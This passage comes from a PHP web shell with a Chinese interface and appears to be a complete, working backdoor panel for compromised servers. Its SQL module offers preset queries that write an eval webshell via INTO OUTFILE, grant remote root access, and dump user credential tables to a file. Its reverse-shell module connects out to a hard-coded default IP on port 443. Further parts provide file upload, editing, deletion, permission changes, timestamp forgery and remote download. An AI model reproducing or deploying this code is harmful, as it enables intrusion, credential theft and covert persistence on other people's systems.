  528.     $names = $_POST['names'];
  529.     switch($type) {
  530.         case "PostgreSql" : 
  531.         if(function_exists('pg_close')){
  532.             if(strstr($sqlhost,':')) { $array = explode(':',$sqlhost); $sqlhost = $array[0]; $sqlport = $array[1]; }
  533.             else { $sqlport = 5432; }
  534.             $dbconn = @pg_connect("host=$sqlhost port=$sqlport dbname=$sqlname user=$sqluser password=$sqlpass");
  535.             if($dbconn) {
  536.                 $msg = '<h2>连接'.$type.'成功 </h2>';
  537.                 pg_query('set client_encoding='.$names);
  538.                 $result = pg_query($sqlcode);
  539.                 if($result) { $msg .= '<h2> - 执行SQL成功</h2>'; while($array = pg_fetch_array($result)) { $rows[] = $array; } }
  540.                 else { $msg .= '<h1> - 执行SQL失败</h1>'; $rows = array('error' => pg_result_error($result)); }
  541.                 pg_free_result($result);
  542.             } else {
  543.                 $msg = '<h1>连接'.$type.'失败</h1>';
  544.             }
  545.             @pg_close($dbconn);
  546.         } else {
  547.             $msg = '<h1>不支持'.$type.'</h1>';
  548.         }
  549.         break;
  550.         case "MsSql" : 
  551.         if(function_exists('mssql_close')){
  552.             $dbconn = @mssql_connect($sqlhost,$sqluser,$sqlpass);
  553.             if($dbconn) {
  554.                 $msg = '<h2>连接'.$type.'成功 </h2>';
  555.                 mssql_select_db($sqlname,$dbconn);
  556.                 $result = mssql_query($sqlcode);
  557.                 if($result) { $msg .= '<h2> - 执行SQL成功</h2>'; while ($array = mssql_fetch_array($result)) { $rows[] = $array; } }
  558.                 else { $msg .= '<h1> - 执行SQL失败</h1>'; }
  559.                 @mssql_free_result($result);
  560.             } else {
  561.                 $msg = '<h1>连接'.$type.'失败</h1>';
  562.             }
  563.             @mssql_close($dbconn);
  564.         } else {
  565.             $msg = '<h1>不支持'.$type.'</h1>';
  566.         }
  567.         break;
  568.         case "Oracle" : 
  569.         if(function_exists('oci_close')){
  570.             $conn = @oci_connect($sqluser,$sqlpass,$sqlhost.'/'.$sqlname);
  571.             if($conn) {
  572.                 $msg = '<h2>连接'.$type.'成功 </h2>';
  573.                 $stid = oci_parse($conn,$sqlcode);
  574.                 oci_execute($stid);
  575.                 if($stid) { $msg .= '<h2> - 执行SQL成功</h2>'; while (($array = oci_fetch_array($stid,OCI_ASSOC))) { $rows[] = $array; } }
  576.                 else { $msg .= '<h1> - 执行SQL失败</h1>'; $e = oci_error(); $rows = array('error' => $e['message']); }
  577.                 oci_free_statement($stid);
  578.             } else {
  579.                 $e = oci_error(); $rows = array('error' => $e['message']);
  580.                 $msg = '<h1>连接'.$type.'失败</h1>';
  581.             }
  582.             @oci_close($conn);
  583.         } else {
  584.             $msg = '<h1>不支持'.$type.'</h1>';
  585.         }
  586.         break;
  587.         case "MySql" : 
  588.         if(function_exists('mysql_close')){
  589.             $conn = mysql_connect(strstr($sqlhost,':') ? $sqlhost : $sqlhost.':3306',$sqluser,$sqlpass,$sqlname);
  590.             if($conn) {
  591.                 $msg = '<h2>连接'.$type.'成功 </h2>';
  592.                 if(substr($sqlcode,0,6) == 't00lsa') {
  593.                     $array = array(); $data = ''; $i = 0;
  594.                     preg_match_all('/t00lsa\s*\'(.*)\'\s*t00lsb\s*\'(.*)\'\s*t00lsc\s*\'(.*)\'\s*t00lsfile\s*\'(.*)\'/i',$sqlcode,$array);
  595.                     if($array[1][0] && $array[2][0] && $array[3][0] && $array[4][0]) {
  596.                         mysql_select_db($array[1][0],$conn);
  597.                         mysql_query('set names '.$names,$conn);
  598.                         $spidercode = 'select '.$array[3][0].' from `'.$array[2][0].'`;';
  599.                         $result = mysql_query($spidercode,$conn);
  600.                         if($result) {
  601.                             while($row = mysql_fetch_array($result,MYSQL_ASSOC)) { $data .= join('{~}',$row)."\r\n"; $i++; }
  602.                             if($data) {
  603.                                 $file = strdir($array[4][0]);
  604.                                 $msg .= filew($file,$data,'w') ? '<h2> - 脱库成功</h2>' : '<h1> - 导出文件失败</h1>';
  605.                                 $rows = array('file' => $file,size(filesize($file)) => '共获取'.$i.'条数据');
  606.                             }
  607.                             else { $msg .= '<h1> - 没有数据</h1>'; }
  608.                         }
  609.                         else { $msg .= '<h1> - 执行SQL失败</h1>'; $rows = array('errno' => mysql_errno(),'error' => mysql_error()); }
  610.                     }
  611.                     else { $msg .= '<h1> - 脱库语句错误</h1>'; }
  612.                 } elseif(!empty($sqlcode)) {
  613.                     mysql_select_db($sqlname,$conn);
  614.                     mysql_query('set names '.$names,$conn);
  615.                     $result = mysql_query($sqlcode,$conn);
  616.                     if($result) { $msg .= '<h2> - 执行SQL成功</h2>'; while($array = mysql_fetch_array($result,MYSQL_ASSOC)) { $rows[] = $array; } }
  617.                     else { $msg .= '<h1> - 执行SQL失败</h1>'; $rows = array('errno' => mysql_errno(),'error' => mysql_error()); }
  618.                 }
  619.                 mysql_free_result($result);
  620.             } else {
  621.                 $msg = '<h1>连接'.$type.'失败</h1>';
  622.                 $rows = array('errno' => mysql_errno(),'error' => mysql_error());
  623.             }
  624.             mysql_close($conn);
  625.         } else {
  626.             $msg = '<h1>不支持'.$type.'</h1>';
  627.         }
  628.         break;
  629.     }
  630. } else {
  631.     $type = 'MySql';
  632.     $sqlhost = 'localhost:3306';
  633.     $sqluser = 'root';
  634.     $sqlpass = '123456';
  635.     $sqlname = 'mysql';
  636.     $sqlcode = 'select version();';
  637.     $names = 'gbk';
  638. }
  639. echo '<div class="msgbox">'.$msg.'</div>';
  640. echo '<form method="POST">';
  641. subeval();
  642. echo '<input type="hidden" name="go" id="go" value="sql">';
  643. echo '<table class="tables"><tr><th style="width:15%;">名称</th><th>设置</th></tr>';
  644. echo '<tr><td>支持类型</td><td>';
  645. $dbs = array('MySql','MsSql','Oracle','PostgreSql');
  646. foreach($dbs as $dbname) { echo '<label><input type="radio" name="type" value="'.$dbname.'"'.($type == $dbname ? ' checked' : '').'>'.$dbname.'</label> '; }
  647. echo '</td></tr><tr><td>连接</td><td>地址 <input type="text" name="sqlhost" style="width:188px;" value="'.$sqlhost.'"> ';
  648. echo '用户 <input type="text" name="sqluser" style="width:108px;" value="'.$sqluser.'"> ';
  649. echo '密码 <input type="text" name="sqlpass" style="width:108px;" value="'.$sqlpass.'"> ';
  650. echo '库名 <input type="text" name="sqlname" style="width:108px;" value="'.$sqlname.'"></td></tr>';
  651. echo '<tr><td>语句<br>';
  652. echo '<select onchange="$(\'sqlcode\').value=options[selectedIndex].value">';
  653. echo '<option value="select version();">---语句集合---</option>';
  654. echo '<option value="select \'<?php eval ($_POST[cmd]);?>\' into outfile \'D:/web/shell.php\';">写入文件</option>';
  655. echo '<option value="GRANT ALL PRIVILEGES ON *.* TO \''.$sqluser.'\'@\'%\' IDENTIFIED BY \''.$sqlpass.'\' WITH GRANT OPTION;">开启外连</option>';
  656. echo '<option value="show variables;">系统变量</option>';
  657. echo '<option value="create database t00ls;">创建数据库</option>';
  658. echo '<option value="create table `t00ls` (`id` INT(10) NOT NULL ,`user` VARCHAR(32) NOT NULL ,`pass` VARCHAR(32) NOT NULL) TYPE = MYISAM;">创建数据表</option>';
  659. echo '<option value="show databases;">显示数据库</option>';
  660. echo '<option value="show tables from `'.$sqlname.'`;">显示数据表</option>';
  661. echo '<option value="show columns from `t00ls`;">显示表结构</option>';
  662. echo '<option value="drop table `t00ls`;">删除数据表</option>';
  663. echo '<option value="select username,password,salt,email from `pre_ucenter_members` limit 0,30;">显示字段</option>';
  664. echo '<option value="insert into `admin` (`user`,`pass`) values (\'t00ls\', \'f1a81d782dea6a19bdca383bffe68452\');">插入数据</option>';
  665. echo '<option value="update `admin` set `user` = \'t00ls1\',`pass` = \'50de237e389600acadbeda3d6e6e0b1f\' where `user` = \'t00ls\' and `pass` = \'f1a81d782dea6a19bdca383bffe68452\' limit 1;">修改数据</option>';
  666. echo '<option value="t00lsa \'discuzx25\' t00lsb \'pre_ucenter_members\' t00lsc \'username,password,salt,email\' t00lsfile \''.THISDIR.'out.txt\';">脱库(MySql)</option>';
  667. echo '</select>';
  668. echo '</td><td><textarea name="sqlcode" id="sqlcode" style="width:680px;height:80px;">'.htmlspecialchars($sqlcode).'</textarea></td></tr>';
  669. echo '<tr><td>操作</td><td><select name="names">';
  670. $charsets = array('gbk','utf8','big5','latin1','cp866','ujis','euckr','koi8r','koi8u');
  671. foreach($charsets as $charset) { echo '<option value="'.$charset.'"'.($names == $charset ? ' selected' : '').'>'.$charset.'</option>'; }
  672. echo '</select> <input type="submit" style="width:80px;" value="执行"></td></tr>';
  673. echo '</table></form>';
  674. if($rows) {
  675.     echo '<pre style="padding:5px;background:#F8F8F8;text-align:left;">';
  676.     ob_start();
  677.     print_r($rows);
  678.     $out = ob_get_contents();
  679.     ob_end_clean();
  680.     if(preg_match('~[\x{4e00}-\x{9fa5}]+~u',$out) && function_exists('iconv')) { $out = @iconv('UTF-8','GB2312//IGNORE',$out); }
  681.     echo htmlspecialchars($out);
  682.     echo '</pre>';
  683. }
  684. break;
  686. case "backshell" : 
  687. if((!empty($_POST['backip'])) && (!empty($_POST['backport']))) {
  688.     $backip = $_POST['backip'];
  689.     $backport = $_POST['backport'];
  690.     $temp = $_POST['temp'] ? $_POST['temp'] : '/tmp';
  691.     $type = $_POST['type'];
  692.     $msg = backshell($backip,$backport,$temp,$type);
  693. } else {
  694.     $backip = '222.73.219.91';
  695.     $backport = '443';
  696.     $temp = '/tmp';
  697.     $type = 'pl';
  698. }
  699. echo '<div class="msgbox">'.$msg.'</div>';
  700. echo '<form method="POST">';
  701. subeval();
  702. echo '<input type="hidden" name="go" id="go" value="backshell">';
  703. echo '<table class="tables"><tr><th style="width:15%;">名称</th><th>设置</th></tr>';
  704. echo '<tr><td>反弹地址</td><td><input type="text" name="backip" style="width:268px;" value="'.$backip.'"> (Your ip)</td></tr>';
  705. echo '<tr><td>反弹端口</td><td><input type="text" name="backport" style="width:268px;" value="'.$backport.'"> (nc -vvlp '.$backport.')</td></tr>';
  706. echo '<tr><td>临时目录</td><td><input type="text" name="temp" style="width:268px;" value="'.$temp.'"> (Only Linux)</td></tr>';
  707. echo '<tr><td>反弹方法</td><td>';
  708. $types = array('pl' => 'Perl','py' => 'Python','c' => 'C-bin','pcntl' => 'Pcntl','php' => 'PHP','phpwin' => 'PHP-WS');
  709. foreach($types as $key => $name) { echo '<label><input type="radio" name="type" value="'.$key.'"'.($key == $type ? ' checked' : '').'>'.$name.'</label> '; }
  710. echo '</td></tr><tr><td>操作</td><td><input type="submit" style="width:80px;" value="反弹"></td></tr>';
  711. echo '</table></form>';
  712. break;
  714. case "edit" : case "editor" : 
  715. $file = strdir($_POST['godir'].'/'.$_POST['govar']);
  716. $iconv = function_exists('iconv');
  717. if(!file_exists($file)) {
  718.     $msg = '【新建文件】';
  719. } else {
  720.     $code = filer($file);
  721.     $chst = '默认';
  722.     if(preg_match('~[\x{4e00}-\x{9fa5}]+~u',$code) && $iconv) { $chst = 'utf-8'; $code = @iconv('UTF-8','GB2312//IGNORE',$code); }
  723.     $size = size(filesize($file));
  724.     $msg = '【文件属性 '.substr(decoct(fileperms($file)),-4).'】 【文件大小 '.$size.'】 【文件编码 '.$chst.'】';
  725. }
  726. echo base64_decode('PHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+DQp2YXIgbiA9IDA7DQpmdW5jdGlvbiBzZWFyY2goc3RyKSB7DQoJdmFyIHR4dCwgaSwgZm91bmQ7DQoJaWYoc3RyID09ICIiKSByZXR1cm4gZmFsc2U7DQoJdHh0ID0gJCgnZmlsZWNvZGUnKS5jcmVhdGVUZXh0UmFuZ2UoKTsNCglmb3IoaSA9IDA7IGkgPD0gbiAmJiAoZm91bmQgPSB0eHQuZmluZFRleHQoc3RyKSkgIT0gZmFsc2U7IGkrKyl7DQoJCXR4dC5tb3ZlU3RhcnQoImNoYXJhY3RlciIsIDEpOw0KCQl0eHQubW92ZUVuZCgidGV4dGVkaXQiKTsNCgl9DQoJaWYoZm91bmQpeyB0eHQubW92ZVN0YXJ0KCJjaGFyYWN0ZXIiLCAtMSk7IHR4dC5maW5kVGV4dChzdHIpOyB0eHQuc2VsZWN0KCk7IHR4dC5zY3JvbGxJbnRvVmlldygpOyBuKys7IH0NCgllbHNlIHsgaWYgKG4gPiAwKSB7IG4gPSAwOyBzZWFyY2goc3RyKTsgfSBlbHNlIGFsZXJ0KHN0ciArICIuLi4gTm90LUZpbmQiKTsgfQ0KCXJldHVybiBmYWxzZTsNCn0NCjwvc2NyaXB0Pg==');
  727. echo '<div class="msgbox"><input name="keyword" id="keyword" type="text" style="width:138px;height:15px;"><input type="button" value="IE查找内容" onclick="search($(\'keyword\').value);"> - '.$msg.'</div>';
  728. echo '<form name="editfrm" id="editfrm" method="POST">';
  729. subeval();
  730. echo '<input type="hidden" name="go" value=""><input type="hidden" name="act" id="act" value="edit">';
  731. echo '<input type="hidden" name="dir" id="dir" value="'.dirname($file).'">';
  732. echo '<div class="actall">文件 <input type="text" name="filename" value="'.$file.'" style="width:528px;"> ';
  733. if($iconv) {
  734.     echo '编码 <select name="tostr">';
  735.     $selects = array('normal' => '默认','utf' => 'utf-8');
  736.     foreach($selects as $var => $name) { echo '<option value="'.$var.'"'.($name == $chst ? ' selected' : '').'>'.$name.'</option>'; }
  737.     echo '</select>';
  738. }
  739. echo '</div><div class="actall"><textarea name="filecode" id="filecode" style="width:698px;height:358px;">'.htmlspecialchars($code).'</textarea></div></form>';
  740. echo '<div class="actall" style="padding:5px;padding-right:68px;"><input type="button" onclick="$(\'editfrm\').submit();" value="保存" style="width:80px;"> ';
  741. echo '<form name="backfrm" id="backfrm" method="POST"><input type="hidden" name="go" value=""><input type="hidden" name="dir" id="dir" value="'.dirname($file).'">';
  742. subeval();
  743. echo '<input type="button" onclick="$(\'backfrm\').submit();" value="返回" style="width:80px;"></form></div>';
  744. break;
  746. case "upfiles" : 
  747. $updir = isset($_POST['updir']) ? $_POST['updir'] : $_POST['godir'];
  748. $msg = '【最大上传文件 '.get_cfg_var("upload_max_filesize").'】 【POST最大提交数据 '.get_cfg_var("post_max_size").'】';
  749. $max = 10;
  750. if(isset($_FILES['uploads']) && isset($_POST['renames'])) {
  751.     $uploads = $_FILES['uploads'];
  752.     $msgs = array();
  753.     for($i = 1;$i < $max;$i++) {
  754.         if($uploads['error'][$i] == UPLOAD_ERR_OK) {
  755.             $rename = $_POST['renames'][$i] == '' ? $uploads['name'][$i] : $_POST['renames'][$i];
  756.             $filea = $uploads['tmp_name'][$i];
  757.             $fileb = strdir($updir.'/'.$rename);
  758.             $msgs[$i] = fileu($filea,$fileb) ? '<br><h2>上传成功 '.$rename.'</h2>' : '<br><h1>上传失败 '.$rename.'</h1>';
  759.         }
  760.     }
  761. }
  762. echo '<div class="msgbox">'.$msg.'</div>';
  763. echo '<form name="upsfrm" id="upsfrm" method="POST" enctype="multipart/form-data">';
  764. subeval();
  765. echo '<input type="hidden" name="go" value="upfiles"><input type="hidden" name="act" id="act" value="upload">';
  766. echo '<div class="actall"><p>上传到目录 <input type="text" name="updir" style="width:398px;" value="'.$updir.'"></p>';
  767. for($i = 1;$i < $max;$i++) { echo '<p>附件'.$i.' <input type="file" name="uploads['.$i.']" style="width:300px;"> 重命名 <input type="text" name="renames['.$i.']" style="width:128px;"> '.$msgs[$i].'</p>'; }
  768. echo '</div></form><div class="actall" style="padding:8px;padding-right:68px;"><input type="button" onclick="$(\'upsfrm\').submit();" value="上传" style="width:80px;"> ';
  769. echo '<form name="backfrm" id="backfrm" method="POST"><input type="hidden" name="go" value=""><input type="hidden" name="dir" id="dir" value="'.$updir.'">';
  770. subeval();
  771. echo '<input type="button" onclick="$(\'backfrm\').submit();" value="返回" style="width:80px;"></form></div>';
  772. break;
  774. default : 
  776. if(isset($_FILES['upfile'])) {
  777.     if($_FILES['upfile']['name'] == '') { $msg = '<h1>请选择文件</h1>'; }
  778.     else { $rename = $_POST['rename'] == '' ? $_FILES['upfile']['name'] : $_POST['rename']; $filea = $_FILES['upfile']['tmp_name']; $fileb = strdir($nowdir.$rename); $msg = fileu($filea,$fileb) ? '<h2>上传文件'.$rename.'成功</h2>' : '<h1>上传文件'.$rename.'失败</h1>'; }
  779. }
  781. if(isset($_POST['act'])) {
  782.     switch($_POST['act']) {
  783.         case "a" : 
  784.             if(!$_POST['files']) { $msg = '<h1>请选择文件 '.$_POST['var'].'</h1>'; }
  785.             else { $i = 0; foreach($_POST['files'] as $filename) { $i += @copy(strdir($nowdir.$filename),strdir($_POST['var'].'/'.$filename)) ? 1 : 0; } $msg =  $msg = $i ? '<h2>共复制 '.$i.' 个文件到'.$_POST['var'].'成功</h2>' : '<h1>共复制 '.$i.' 个文件到'.$_POST['var'].'失败</h1>'; }
  786.         break;
  787.         case "b" : 
  788.             if(!$_POST['files']) { $msg = '<h1>请选择文件</h1>'; }
  789.             else { $i = 0; foreach($_POST['files'] as $filename) { $i += @unlink(strdir($nowdir.$filename)) ? 1 : 0; } $msg = $i ? '<h2>共删除 '.$i.' 个文件成功</h2>' : '<h1>共删除 '.$i.' 个文件失败</h1>'; }
  790.         break;
  791.         case "c" : 
  792.             if(!$_POST['files']) { $msg = '<h1>请选择文件 '.$_POST['var'].'</h1>'; }
  793.             elseif(!ereg("^[0-7]{4}$",$_POST['var'])) { $msg = '<h1>属性值错误</h1>'; }
  794.             else { $i = 0; foreach($_POST['files'] as $filename) { $i += @chmod(strdir($nowdir.$filename),base_convert($_POST['var'],8,10)) ? 1 : 0; } $msg = $i ? '<h2>共 '.$i.' 个文件修改属性为'.$_POST['var'].'成功</h2>' : '<h1>共 '.$i.' 个文件修改属性为'.$_POST['var'].'失败</h1>'; }
  795.         break;
  796.         case "d" : 
  797.             if(!$_POST['files']) { $msg = '<h1>请选择文件 '.$_POST['var'].'</h1>'; }
  798.             elseif(!preg_match('/(\d+)-(\d+)-(\d+) (\d+):(\d+):(\d+)/',$_POST['var'])) { $msg = '<h1>时间格式错误 '.$_POST['var'].'</h1>'; }
  799.             else { $i = 0; foreach($_POST['files'] as $filename) { $i += @touch(strdir($nowdir.$filename),strtotime($_POST['var'])) ? 1 : 0; } $msg = $i ? '<h2>共 '.$i.' 个文件修改时间为'.$_POST['var'].'成功</h2>' : '<h1>共 '.$i.' 个文件修改时间为'.$_POST['var'].'失败</h1>'; }
  800.         break;
  801.         case "e" : 
  802.             $path = strdir($nowdir.$_POST['var'].'/');
  803.             if(file_exists($path)) { $msg = '<h1>目录已存在 '.$_POST['var'].'</h1>'; }
  804.             else { $msg = @mkdir($path,0777) ? '<h2>创建目录 '.$_POST['var'].' 成功</h2>' : '<h1>创建目录 '.$_POST['var'].' 失败</h1>'; }
  805.         break;
  806.         case "f" : 
  807.             $context = array('http' => array('timeout' => 30));
  808.             if(function_exists('stream_context_create')) { $stream = stream_context_create($context); }
  809.             $data = @file_get_contents ($_POST['var'],false,$stream);
  810.             $filename = array_pop(explode('/',$_POST['var']));
  811.             if($data) { $msg = filew(strdir($nowdir.$filename),$data,'wb') ? '<h2>下载 '.$filename.' 成功</h2>' : '<h1>下载 '.$filename.' 失败</h1>'; } else { $msg = '<h1>下载失败或不支持下载</h1>'; }
  812.         break;
  813.         case "rf" : 
  814.             $files = explode('|x|',$_POST['var']);
  815.             if(count($files) != 2) { $msg = '<h1>输入错误</h1>'; }
  816.             else { $msg = @rename(strdir($nowdir.$files[1]),strdir($nowdir.$files[0])) ? '<h2>重命名 '.$files[1].' 为 '.$files[0].' 成功</h2>' : '<h1>重命名 '.$files[1].' 为 '.$files[0].' 失败</h1>'; }
  817.         break;
  818.         case "pd" : 
  819.             $files = explode('|x|',$_POST['var']);
  820.             if(count($files) != 2) { $msg = '<h1>输入错误</h1>'; }
  821.             else { $path = strdir($nowdir.$files[1]); $msg = @chmod($path,base_convert($files[0],8,10)) ? '<h2>修改'.$files[1].'属性为'.$files[0].'成功</h2>' : '<h1>修改'.$files[1].'属性为'.$files[0].'失败</h1>'; }
  822.         break;
  823.         case "edit" : 
  824.             if(isset($_POST['filename']) && isset($_POST['filecode'])) { if($_POST['tostr'] == 'utf') { $_POST['filecode'] = @iconv('GB2312//IGNORE','UTF-8',$_POST['filecode']); } $msg = filew($_POST['filename'],$_POST['filecode'],'w') ? '<h2>保存成功 '.$_POST['filename'].'</h2>' : '<h1>保存失败 '.$_POST['filename'].'</h1>'; }
  825.         break;
  826.         case "deltree" : 
  827.             $deldir = strdir($nowdir.$_POST['var'].'/');
  828.             if(!file_exists($deldir)) { $msg = '<h1>目录 '.$_POST['var'].' 不存在</h1>'; }
  829.             else { $msg = deltree($deldir) ? '<h2>删除目录 '.$_POST['var'].' 成功</h2>' : '<h1>删除目录 '.$_POST['var'].' 失败</h1>'; }
  830.         break;
  831.     }
  832. }
  834. $chmod = substr(decoct(fileperms($nowdir)),-4);
  835. if(!$chmod) { $msg .= ' - <h1>无法读取目录</h1>'; }
  837. $array = showdir($nowdir);
  838. $thisurl = strdir('/'.strtr($nowdir,array(ROOTDIR => '')).'/');
  839. $nowdir = strtr($nowdir,array('\'' => '%27','"' => '%22'));
  840. echo '<div class="msgbox">'.$msg.'</div>';
  841. echo '<div class="actall"><form name="frm" id="frm" method="POST">';
  842. subeval();
  843. echo (is_writable($nowdir) ? '<h2>路径</h2>' : '<h1>路径</h1>').' <input type="text" name="dir" id="dir" style="width:508px;" value="'.strdir($nowdir.'/').'"> ';
  844. echo '<input type="button" onclick="$(\'frm\').submit();" style="width:50px;" value="转到"> ';
  845. echo '<input type="button" onclick="cd(\''.ROOTDIR.'\');" style="width:68px;" value="根目录"> ';
  846. echo '<input type="button" onclick="cd(\''.THISDIR.'\');" style="width:68px;" value="程序目录"> ';
  847. echo '<select onchange="cd(options[selectedIndex].value);">';
  848. echo '<option>---特殊目录---</option>';
  849. echo '<option value="C:/RECYCLER/">Win-RECYCLER</option>';
  850. echo '<option value="C:/$Recycle.Bin/">Win-$Recycle</option>';
  851. echo '<option value="C:/Program Files/">Win-Program</option>';
  852. echo '<option value="C:/Documents and Settings/All Users/Start Menu/Programs/Startup/">Win-Startup</option>';
  853. echo '<option value="C:/Documents and Settings/All Users/「开始」菜单/程序/启动/">Win-启动</option>';
  854. echo '<option value="C:/Windows/Temp/">Win-TEMP</option>';
  855. echo '<option value="/usr/local/">Linux-local</option>';
  856. echo '<option value="/tmp/">Linux-tmp</option>';
  857. echo '<option value="/var/tmp/">Linux-var</option>';
  858. echo '<option value="/etc/ssh/">Linux-ssh</option>';
  859. echo '</select></form></div><div class="actall">';
  861. echo '<input type="button" value="新建文件" onclick="nf(\'edit\',\'newfile.php\');" style="width:68px;"> ';
  862. echo '<input type="button" value="创建目录" onclick="txts(\'目录名\',\'newdir\',\'e\');" style="width:68px;"> ';
  863. echo '<input type="button" value="下载文件" onclick="txts(\'下载文件到当前目录\',\'http://www.baidu.com/cmd.exe\',\'f\');" style="width:68px;"> ';
  864. echo '<input type="button" value="批量上传" onclick="go(\'upfiles\',\''.$nowdir.'\');" style="width:68px;"> ';
  866. echo '<form name="upfrm" id="upfrm" method="POST" enctype="multipart/form-data">';
  867. subeval();
  868. echo '<input type="hidden" name="dir" id="dir" value="'.$nowdir.'">';
  869. echo '<input type="file" name="upfile" style="width:286px;height:21px;"> ';
  870. echo '<input type="button" onclick="$(\'upfrm\').submit();" value="上传" style="width:50px;"> ';
  871. echo '上传重命名为 <input type="text" name="rename" style="width:128px;">';
  872. echo '</form></div>';
  874. echo '<form name="frm1" id="frm1" method="POST"><table class="tables">';
  875. subeval();
  876. echo '<input type="hidden" name="dir" id="dir" value="'.$nowdir.'">';
  877. echo '<input type="hidden" name="act" id="act" value="">';
  878. echo '<input type="hidden" name="var" id="var" value="">';
  879. echo '<th><a href="javascript:cd(\''.dirname($nowdir).'/\');">上级目录</a></th><th style="width:8%">操作</th><th style="width:5%">属性</th><th style="width:17%">创建时间</th><th style="width:17%">修改时间</th><th style="width:8%">下载</th>';
  880. if($array) {
  881.     asort($array['dir']);
  882.     asort($array['file']);
  883.     $dnum = $fnum = 0;
  884.     foreach($array['dir'] as $path => $name) {
  885.         $prem = substr(decoct(fileperms($path)),-4);
  886.         $ctime = date('Y-m-d H:i:s',filectime($path));
  887.         $mtime = date('Y-m-d H:i:s',filemtime($path));
  888.         echo '<tr>';
  889.         echo '<td><a href="javascript:cd(\''.$nowdir.$name.'\');"><b>'.strtr($name,array('%27' => '\'','%22' => '"')).'</b></a></td>';
  890.         echo '<td><a href="javascript:dels(\''.$name.'\');">删除</a> ';
  891.         echo '<a href="javascript:acts(\''.$name.'\',\'rf\',\''.$name.'\');">改名</a></td>';
  892.         echo '<td><a href="javascript:acts(\''.$prem.'\',\'pd\',\''.$name.'\');">'.$prem.'</a></td>';
  893.         echo '<td>'.$ctime.'</td>';
  894.         echo '<td>'.$mtime.'</td>';
  895.         echo '<td>-</td>';
  896.         echo '</tr>';
  897.         $dnum++;
  898.     }
  899.     foreach($array['file'] as $path => $name) {
  900.         $prem = substr(decoct(fileperms($path)),-4);
  901.         $ctime = date('Y-m-d H:i:s',filectime($path));
  902.         $mtime = date('Y-m-d H:i:s',filemtime($path));
  903.         $size = size(filesize($path));
  904.         echo '<tr>';
  905.         echo '<td><input type="checkbox" name="files[]" value="'.$name.'"><a target="_blank" href="'.$thisurl.$name.'">'.strtr($name,array('%27' => '\'','%22' => '"')).'</a></td>';
  906.         echo '<td><a href="javascript:go(\'edit\',\''.$name.'\');">编辑</a> ';
  907.         echo '<a href="javascript:acts(\''.$name.'\',\'rf\',\''.$name.'\');">改名</a></td>';
  908.         echo '<td><a href="javascript:acts(\''.$prem.'\',\'pd\',\''.$name.'\');">'.$prem.'</a></td>';
  909.         echo '<td>'.$ctime.'</td>';
  910.         echo '<td>'.$mtime.'</td>';
  911.         echo '<td align="right"><a href="javascript:go(\'down\',\''.$name.'\');">'.$size.'</a></td>';
  912.         echo '</tr>';
  913.         $fnum++;
  914.     }
  915. }
  916. unset($array);
  917. echo '</table>';
  918. echo '<div class="actall" style="text-align:left;">';
  919. echo '<input type="checkbox" id="chkall" name="chkall" value="on" onclick="sa(this.form);"> ';
  920. echo '<input type="button" value="复制" style="width:50px;" onclick=\'txts("复制路径","'.$nowdir.'","a");\'> ';
  921. echo '<input type="button" value="删除" style="width:50px;" onclick=\'dels("b");\'> ';
  922. echo '<input type="button" value="属性" style="width:50px;" onclick=\'txts("属性值","0666","c");\'> ';
  923. echo '<input type="button" value="时间" style="width:50px;" onclick=\'txts("修改时间","'.$mtime.'","d");\'> ';
  924. echo '目录['.$dnum.'] - 文件['.$fnum.'] - 属性['.$chmod.']</div></form>';
  925. break;
  926. }